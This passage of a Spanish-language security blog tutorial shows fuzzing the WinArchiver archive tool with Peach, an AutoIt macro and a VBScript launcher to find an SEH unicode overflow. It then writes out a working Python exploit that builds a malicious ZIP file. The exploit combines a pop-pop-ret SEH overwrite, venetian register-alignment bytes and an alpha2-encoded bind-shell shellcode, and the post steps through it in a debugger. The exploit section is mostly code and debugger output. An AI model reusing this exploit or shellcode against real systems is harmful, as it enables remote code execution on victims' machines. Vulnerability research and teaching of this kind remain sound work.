<span style="font-family: inherit;">En la línea 244 del fichero debugger.py</span><br />
<span style="font-family: inherit;">dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p(".load %s\\msec.dll" % p), DbgEng.DEBUG_EXECUTE_ECHO)</span><br />
<span style="font-family: inherit;">--><span style="background-color: yellow;">dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!exchain"), DbgEng.DEBUG_EXECUTE_ECHO)</span></span><br />
<span style="font-family: inherit;"><span style="background-color: white;"> dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, </span>c_char_p("!exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)</span><br />
<span style="font-family: inherit;">dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!msec.exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)</span></blockquote>
<span style="font-family: inherit;">Para conseguir que se guardara el fichero zip que hacia crash:</span><br />
<blockquote class="tr_bq">
<span style="font-family: inherit;">En la línea 276 del fichero logger.py añadimos</span><br />
<span style="font-family: inherit;"><span style="background-color: yellow;">
filename = os.path.join(path, "fuzzed.zip")<br />shutil.copyfile("fuzzed.zip",filename)</span></span></blockquote>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Luego nos encontramos con varios problemas, y es que para poder fuzzearlo desde el interfaz gráfico , teníamos que utilizar algunas macros para que una vez abierto el programa, nuestra macro pulse algunos botones determinados de la aplicación para que intente descomprimir el fichero, ya que con solo abrir la aplicación con el fichero .zip no es suficiente.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">AutoIt3 es una aplicación que permite de una manera sencilla realizar tareas que se repitan y además generar un fichero ejecutable. Lo que necesitábamos en este caso es que una vez que el entorno gráfico de winarchiver estuviese en pantalla, de forma automatizada nuestra macro intente extraer el fichero como si lo hiciésemos nosotros mismos con el ratón y teclado.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Estos son los pasos que realiza la macro desde un punto de vista más gráfico:</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Una vez abierta la aplicación, saltará un popup de licencia, la macro pulsará en “continuar sin registrar”</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://4.bp.blogspot.com/-VHnGqt3WhtA/UX6ZiyDZRkI/AAAAAAAAAfc/vNDZ34ypBlY/s1600/macro_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="282" src="http://4.bp.blogspot.com/-VHnGqt3WhtA/UX6ZiyDZRkI/AAAAAAAAAfc/vNDZ34ypBlY/s640/macro_1.jpg" width="640" /></a></span></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Luego, para extraer el fuzzed.zip que ha abierto nuestro script vbs, tenemos que ir a “acción” y luego extraer con el ratón:</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://1.bp.blogspot.com/-jwTPTs2xr1g/UX6ZyYJqKhI/AAAAAAAAAfk/cUMuKzn2VJw/s1600/macro_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="282" src="http://1.bp.blogspot.com/-jwTPTs2xr1g/UX6ZyYJqKhI/AAAAAAAAAfk/cUMuKzn2VJw/s640/macro_2.jpg" width="640" /></a></span></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Despues debemos de darle al botón “OK” para que extraiga el fichero en la ruta que tiene ya guardada winarchiver:</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://4.bp.blogspot.com/-7eLFc3fuPU0/UX6Z5-7nmUI/AAAAAAAAAfs/M5LaT6EovPo/s1600/macro_3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="http://4.bp.blogspot.com/-7eLFc3fuPU0/UX6Z5-7nmUI/AAAAAAAAAfs/M5LaT6EovPo/s640/macro_3.jpg" width="640" /></a></span></div>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Y por último pero no menos importante, si nos salta que ya existe el fichero (algo que pasará muy a menudo) hay que darle a que “Si” para que sobreescriba el fichero actual, si no hiciéramos esto, nos podríamos perder muchos crashes de la aplicación.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Al final la macro nos quedó así:</span><br />
<pre class="brush: js">Func _WinWaitActivate($title,$text,$timeout=0)
WinWait($title,$text,$timeout)
If Not WinActive($title,$text) Then WinActivate($title,$text)
WinWaitActive($title,$text,$timeout)
EndFunc
While True
_WinWaitActivate("WinArchiver","Ingresar código") #esperamos a que se muestre lo del trial
Send("{DOWN}{DOWN}{DOWN}{ENTER}") #hacemos click en continuar
Send("{ENTER}")
If(WinExists("WinArchiver(Copia sin registrar) - ")) Then #si aparece la ventana de winarchiver
_WinWaitActivate("WinArchiver(Copia sin registrar) - ","") #esperamos a que sea el foco.
Send("{DOWN}{UP}{ALTDOWN}a{ALTUP}{RIGHT}{RIGHT}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}") #lo mandamos a extraer
If(WinExists("Extraer","Archivos &selecciona")) Then
_WinWaitActivate("Extraer","Archivos &selecciona") #si aparece la ventana de extraer damos enter al OK que ya está marcado por defecto
Send("{ENTER}")
If(WinExists("WinArchiver","")) Then
_WinWaitActivate("WinArchiver","")
Send("{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{ENTER}") # Si salta la ventana de reemplazar archivo, seleccionamos “Si” y pulsamos enter.
EndIf
EndIf
EndIf
WEnd
</pre>
<span style="font-family: inherit;">Como se ha comentado anteriormente en el template .xml de peach, estamos attacheando el proceso winarchiver.exe en vez de abrirlo con el debugger, esto es por que la aplicación se comportaba de forma distinta cuando se abría directamente con el debugger y observamos como attacheandolo se comportaba de forma q pudiesemos fuzzearlo.
El proceso winarchiver.exe va a ser abierto y monitorizado por un script que hemos creado de visual basic que lo que hace es mirar si esta ejecutándose y si no, lo ejecuta abriendo el fichero fuzzeado por Peach (fuzzed.zip)
script.vbs:
</span><br />
<pre class="brush: js">While counter > 0
wscript.sleep 3000
Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
i = 0
For Each objProcess in colProcessList
if objProcess.name = "WinArchiver.exe" then
i=i+1
End if
Next
If i=1 then
Else
WshShell.Run ("""C:\Archivos de Programa\WinArchiver\WinArchiver.exe ""C:\Peach2.3\fuzzed.zip""""")
End If
vFound = False
Wend
</pre>
Una vez tenemos nuestro entorno de fuzzing preparado lo lanzamos, ejecutando primero la macro.exe , luego el peach, que se quedará esperando para attachear el proceso de winarchiver.exe y cuando veamos que estará esperando al proceso ( tiene 10 intentos) ejecutamos rápidamente nuestro .vbs que al detectar que el proceso no está levantado lo levantará con el fuzzed.zip generado por peach y empezará todo el proceso.
Al cabo de unas 24 horas fuzzeando aproximadametne, nos encontramos con un crash exploitable, uno en el que claramente se ve que se ha provocado un desbordamiento del manejador de excepciones (SEH).
<br />
<pre class="brush: js">Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
Symbol search path is: SRV*<a class="moz-txt-link-freetext" href="http://msdl.microsoft.com/download/symbols">http://msdl.microsoft.com/download/symbols</a>Executable search path is:
ModLoad: 00400000 00671000 C:\Archivos de Programa\WinArchiver\WinArchiver.exe
ModLoad: 7c910000 7c9c8000 C:\WINDOWS\system32\ntdll.dll
id: ee4 attach name: C:\Archivos de Programa\WinArchiver\WinArchiver.exe
ModLoad: 7c800000 7c903000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 77f40000 77fb6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77da0000 77e4c000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e50000 77ee3000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fc0000 77fd1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 77ef0000 77f39000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e390000 7e421000 C:\WINDOWS\system32\USER32.dll
ModLoad: 77be0000 77c38000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 72f80000 72fa6000 C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 7e6a0000 7eec1000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll
ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\ole32.dll
ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 77180000 7722b000 C:\WINDOWS\system32\WININET.dll
ModLoad: 77a50000 77ae6000 C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77af0000 77b02000 C:\WINDOWS\system32\MSASN1.dll
ModLoad: 5b150000 5b188000 C:\WINDOWS\system32\UXTHEME.DLL
ModLoad: 10000000 100b0000 C:\Archivos de programa\WinArchiver\7z.dll
ModLoad: 76330000 76335000 C:\WINDOWS\system32\msimg32.dll
ModLoad: 746b0000 746fc000 C:\WINDOWS\system32\MSCTF.dll
ModLoad: 597f0000 59845000 C:\WINDOWS\system32\netapi32.dll
ModLoad: 77b10000 77b32000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 76f90000 7700f000 C:\WINDOWS\system32\CLBCATQ.DLL
ModLoad: 77010000 770e0000 C:\WINDOWS\system32\COMRes.dll
ModLoad: 77bd0000 77bd8000 C:\WINDOWS\system32\VERSION.dll
ModLoad: 7e210000 7e383000 C:\WINDOWS\system32\shdocvw.dll
ModLoad: 76890000 76914000 C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76bf0000 76c1e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c50000 76c78000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f20000 76f4d000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 7df20000 7dfc3000 C:\WINDOWS\system32\urlmon.dll
ModLoad: 778f0000 779e7000 C:\WINDOWS\system32\SETUPAPI.dll
ModLoad: 779f0000 77a45000 C:\WINDOWS\System32\cscui.dll
ModLoad: 765b0000 765cd000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 03cf0000 03fc6000 C:\WINDOWS\system32\xpsp2res.dll
(ee4.9e8): Access violation - code c0000005 (first chance)
r
<b>eax=00000041 ebx=000017a6 ecx=043b0000 edx=7fffdf41 esi=043aed84 edi=043aed58</b>
<b>eip=004e64cb esp=043ae8cc ebp=043ae8d0 iopl=0 nv up ei pl nz ac po cy</b>
<b>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213</b>
*** ERROR: Module load completed but symbols could not be loaded for C:\Archivos de Programa\WinArchiver\WinArchiver.exe
WinArchiver+0xe64cb:
<b>004e64cb 668901 mov word ptr [ecx],ax ds:0023:043b0000=???? -> instrucción que provoca el overflow</b>
rF
fpcw=027F: rn 53 puozdi fpsw=0000: top=0 cc=0000 -------- fptw=FFFF
fopcode=0492 fpip=0000:00000000 fpdp=0000:00000000
st0= 0.006573242701799395090e-0306 st1=-0.000000000000000003060e+4112
st2= 3.315545808965230580700e-4932 st3= 0.585864538478113307190e-4933
st4= 3.315545862195673984010e-4932 st5= 0.019451969634699875940e-4933
st6= 2.438156854804684311930e-4929 st7=-4.665158646486517195140e-1557
WinArchiver+0xe64cb:
004e64cb 668901 mov word ptr [ecx],ax ds:0023:043b0000=????
rX
xmm0=6.16534e+037 1.73655e-039 6.18886e+037 1.73649e-039
xmm1=1.73646e-039 6.16538e+037 1.73655e-039 1.#QNAN
xmm2=1.27831e-037 6.18886e+037 1.68156e-044 6.16535e+037
xmm3=0 0 1.4013e-045 2.8026e-044
xmm4=0 0 0 2.24208e-044
xmm5=7.2981e-039 1.73644e-039 1.4013e-045 0
xmm6=-1.#QNAN 6.16536e+037 6.24796e+037 1.73686e-039
xmm7=6.18886e+037 0 6.20169e+037 6.16535e+037
WinArchiver+0xe64cb:
004e64cb 668901 mov word ptr [ecx],ax ds:0023:043b0000=????
kb
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll -
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
043ae8d0 004e1929 00000041 043aed84 004e1993 WinArchiver+0xe64cb
043aed6c 004def3a 043aed84 00553eea 043afdcc WinArchiver+0xe1929
043aeda4 0047660d 043aedbc 00553ee0 043afdc4 WinArchiver+0xdef3a
043aedb4 004a2069 00780045 00720074 00790061 WinArchiver+0x7660d
043afdc4 00410041 00410041 00410041 00410041 WinArchiver+0xa2069
043afdc8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdcc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afddc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdec 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdfc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afe00 00410041 00410041 00410041 00410041 WinArchiver+0x10041
.load C:\Peach2.3\tools\bangexploitable\x86\msec.dll
<b>!exchain ----------------------------> Nuestro exchain que hemos añadido a peach.</b>
<b>043aff0c: WinArchiver+10041 (00410041) ---> Owned ! hemos sobre-escrito con "A" y en unicode el SEH</b>
<b>Invalid exception stack at 00410041</b>
!exploitable -m
IDENTITY:HostMachine\HostUser
PROCESSOR:X86
CLASS:USER
QUALIFIER:USER_PROCESS
EVENT:DEBUG_EVENT_EXCEPTION
EXCEPTION_FAULTING_ADDRESS:0x43b0000
EXCEPTION_CODE:0xC0000005
EXCEPTION_LEVEL:FIRST_CHANCE
EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION
EXCEPTION_SUBTYPE:WRITE
MAJOR_HASH:0x68140f13
MINOR_HASH:0x0a520157
STACK_DEPTH:64
STACK_FRAME:WinArchiver+0xe64cb
STACK_FRAME:WinArchiver+0xe1929
STACK_FRAME:WinArchiver+0xdef3a
STACK_FRAME:WinArchiver+0x7660d
STACK_FRAME:WinArchiver+0xa2069
STACK_FRAME:WinArchiver+0x10041
STACK_FRAME:WinArchiver+0x10041
INSTRUCTION_ADDRESS:0x00000000004e64cb
INVOKING_STACK_FRAME:0
DESCRIPTION:User Mode Write AV
SHORT_DESCRIPTION:WriteAV
CLASSIFICATION:EXPLOITABLE
BUG_TITLE:Exploitable - User Mode Write AV starting at WinArchiver+0x00000000000e64cb (Hash=0x68140f13.0x0a520157)
EXPLANATION:User mode write access violations that are not near NULL are exploitable.!msec.exploitable -m
</pre>
<span style="font-family: inherit;">Bien, es un claro SEH overflow (también es un stack based overflow) pero vamos a analizar con 010 binary editor que se ha fuzzeado en nuestro zip comparandolo con un zip normal.
Si abrimos un fichero normal zip (test.zip) y nuestro fuzzed.zip que ocasiona el overflow, podemos compararlos y ver las diferencias:</span><br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://3.bp.blogspot.com/-QTrQr8tZ59A/UX6c5JVZo_I/AAAAAAAAAf8/hYF1osiZy34/s1600/binary_editor1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="478" src="http://3.bp.blogspot.com/-QTrQr8tZ59A/UX6c5JVZo_I/AAAAAAAAAf8/hYF1osiZy34/s640/binary_editor1.jpg" width="640" /></a></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">Ahora vamos a identificar la parte que se
ha fuzzeado de este fichero zip: </span></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><span lang="ES-TRAD"><o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://4.bp.blogspot.com/-leIPKug-p2Q/UX6dOZxaTvI/AAAAAAAAAgE/J9W9ciaFxG8/s1600/binary_editor2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="404" src="http://4.bp.blogspot.com/-leIPKug-p2Q/UX6dOZxaTvI/AAAAAAAAAgE/J9W9ciaFxG8/s640/binary_editor2.jpg" width="640" /></a></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://3.bp.blogspot.com/-tFG-zdY52FU/UX6dmkEQbcI/AAAAAAAAAgM/sxzrTg8iJOE/s1600/binary_editor3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="436" src="http://3.bp.blogspot.com/-tFG-zdY52FU/UX6dmkEQbcI/AAAAAAAAAgM/sxzrTg8iJOE/s640/binary_editor3.jpg" width="640" /></a></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://2.bp.blogspot.com/-a_FYmo2cB6c/UX6ds1_9iBI/AAAAAAAAAgU/4-_53d8qpwI/s1600/binary_Editor4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="370" src="http://2.bp.blogspot.com/-a_FYmo2cB6c/UX6ds1_9iBI/AAAAAAAAAgU/4-_53d8qpwI/s640/binary_Editor4.jpg" width="640" /></a></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">Como se aprecia se en este zip se han
fuzzeado bastantes secciones aunque en concreto lo que parece que ha ocasionado la
vulnerabilidad es el fuzzeo del nombre del directorio y nombre del fichero.</span></span><br />
<span style="font-family: inherit;"><span lang="ES-TRAD">Por supuesto peach lo ha fuzzeado de forma correcta de forma que el formato Zip sea correcto y no falle al abrir el fichero.<o:p></o:p></span></span></div>
<div class="MsoNormal">
<span style="font-family: inherit;"><span lang="ES-TRAD">
</span></span></div>
<span style="font-family: inherit;">Por último, ya nos podemos poner manos a la mesa y desarrollar un exploit funcional para la vulnerabilidad encontrada. </span><br />
<span style="font-family: inherit;">Para quien no tenga ni idea de desarrollar exploits para unicode, de obligada lectura el siguiente enlace de corelan: <a class="moz-txt-link-freetext" href="https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/">https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/</a></span> <br />
<span style="font-family: inherit;">Lo primero que tenemos que hacer es generarnos a partir de nuestro fuzzed.zip un script en python que reproduzcla el mismo fichero, exportando a hexadecimal el fuzzed.zip con 010 binary editor nos ayudará bastante en esta tarea: </span><br />
<pre class="brush: js">#/usr/bin/python
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
</pre>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Hemos decidido llamar la parte que va antes del nombre del fichero como "zip_header" y la que va justo despues como "zip_final".</span><br />
<span style="font-family: inherit;">Continuamos:</span><br />
<pre class="brush: js">seh = "\x31\x48" #ppr 0x00480031 # sobreescribimos SEH con un pop pop ret que se encuentra en una direccion de memoria compatible con unicode
nextseh = "\x58\x70" # sobreescribimos nextseh con una instruccion que nos permita continuar con el flujo de ejecución.
</pre>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">A continuacion "venetian" es un conjunto de instrucciones que hemos realizado para preparar la ejecución de nuestra venetian shellcode, más adelante veremos como funciona con el debugger.</span><br />
<span style="font-family: inherit;">Simplemente prepara el registro EAX para que apunte al inicio de la venetian shellcode, todo ello con instrucciones compatibles con unicode:
</span><br />
<pre class="brush: js">venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
</pre>
<span style="font-family: inherit;">#venetian shellcode generada alpha3 con registro base EAX(./alpha2 eax --unicode --uppercase < bind_shell.raw )
</span><br />
<pre class="brush: js">shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1" "AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS" "BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P" "TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ" "3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2" "QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY" "K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45" "2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B" "60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P" "KKK045M5WKQ7N3RRRORJM0QCKOHUA" )
</pre>
<span style="font-family: inherit;">A continuación, nuestro buffer , que junto a los calculos que tuvimos que ir haciendo sobre la marcha, para manipular el SEH y posicionar nuestra venetian shellcode y que con nuestros calculos de "venetian" el registro EAX apunte al inicio de la shellcode.</span><br />
<pre class="brush: js">buffer = "\x41" * (421) + shellcode + "\x41" * (2205-421-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian)) print len(buffer) payload = buffer mefile = open('seh_winarch.zip','w') mefile.write(zip_header + buffer + zip_final) mefile.close()
</pre>
<span style="font-family: inherit;">El exploit nos genera un zip y vamos a ver con el debugger paso a paso que es lo que hacemos.</span><br />
<span style="font-family: inherit;">Lo primero a tener en cuenta es que una vez abrimos con el winarchiver el zip hay que darle a boton secundario y darle a extraer, si le damos doble click la aplicación crashea de otra forma distinta. </span><br />
<span style="font-family: inherit;">Vamos a ir viendolo paso a paso con el debugger:</span><br />
<span style="font-family: inherit;">Si ponemos un breakpoint en nuestro pop pop ret (0x00480031) podemos empezar a ver el funcionamiento de nuestro exploit:</span><br />
<span style="font-family: inherit;">Una vez intentamos descomprimir el fichero y pasamos la primera excepción (shift+F9) entraremos en nuestro breakpoint.Si pasamos estas 3 instrucciones con F7 llegamos a las instrucciones compatibles con unicode que hemos metido en "nextseh":</span><br />
<pre class="brush: js">nextseh = "\x58\x70"
</pre>
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://3.bp.blogspot.com/-pmtG_1u31BI/UX6evZu7g-I/AAAAAAAAAgg/1jI6dFSZhQE/s1600/exploit_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="100" src="http://3.bp.blogspot.com/-pmtG_1u31BI/UX6evZu7g-I/AAAAAAAAAgg/1jI6dFSZhQE/s640/exploit_1.jpg" width="640" /></a></span></div>
<span style="font-family: inherit;">Vemos como se ejecuta un "POP EAX" que no es dañino y luego entra nuestro \x70 que por ser transformado en unicode queda en 007000 que es la instruccion ADD [EAX],DH que tampoco es dañina.</span><br />
<span style="font-family: inherit;">Despues vemos las siguientes opcodes (3100 y 48), que pertenecen a los digitos de la dirección de memoria (0x00480031) que pertenece al pop pop ret y que hemos introducido en SEH y por supuesto tampoco son dañinas las instrucciones</span><br />
<span style="font-family: inherit;"><span style="font-family: Arial,Helvetica,sans-serif;"><i>S</i></span>i lo fueran , tendriamos que utilizar otra dirección de memoria unicode cuyos caracteres no correspondan a opcodes de instrucciones que rompan el flujo de ejecución:
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://1.bp.blogspot.com/-k1JauFB621Y/UX6fJOY0BhI/AAAAAAAAAgo/Lc07o36NnHY/s1600/exploit_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="100" src="http://1.bp.blogspot.com/-k1JauFB621Y/UX6fJOY0BhI/AAAAAAAAAgo/Lc07o36NnHY/s640/exploit_2.jpg" width="640" /></a></span></div>
<span style="font-family: inherit;">Ahora llega la parte de nuestro "venetian", recordemos, que esta parte tiene la instrucciones necesarias para que el registro EAX apunte exactamente al inicio de nuestra venetian shellcode:
</span><br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: inherit;"><a href="http://3.bp.blogspot.com/-k6uEeqpDblM/UX6fZ9yUByI/AAAAAAAAAgw/mprWi9aIV4w/s1600/exploit_3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="154" src="http://3.bp.blogspot.com/-k6uEeqpDblM/UX6fZ9yUByI/AAAAAAAAAgw/mprWi9aIV4w/s640/exploit_3.jpg" width="640" /></a></span></div>
<pre class="brush: js">venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
</pre>
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Vemos que nuestro primer 55 es en realidad 005500 por la transformacion unicode y el siguiente 55 queda solo por lo que queda: </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">005500 ADD [EBP],DL **** </span><span style="font-family: inherit;">Aqui estamos usando el 55 como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados
los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode</span><br />
<span style="font-family: inherit;">Y en este caso la siguiente instruccion sin 00 de unicode es un 55 , que corresponde a un PUSH EBP, el cual necesitamos para ir preparando el hecho de que EAX apunte al inicio de nuestra shellcode.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">55 PUSH EBP </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Continuamos: </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">007000 ADD [EAX],DH **** </span><span style="font-family: inherit;">Aqui como en el caso anterior estamos usando el 70 (podriamos haber seguido usando el 55 justo como el caso anterior) como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados
los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">Y en este caso la siguiente instruccion sin 00 de unicode es un 58 , que corresponde a un POP EAX, ya tenemos en EAX un direccion CERCANA al inicio de la shellcode, pero no es la direccion exacta! </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">58 POP EAX </span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><br /></span>
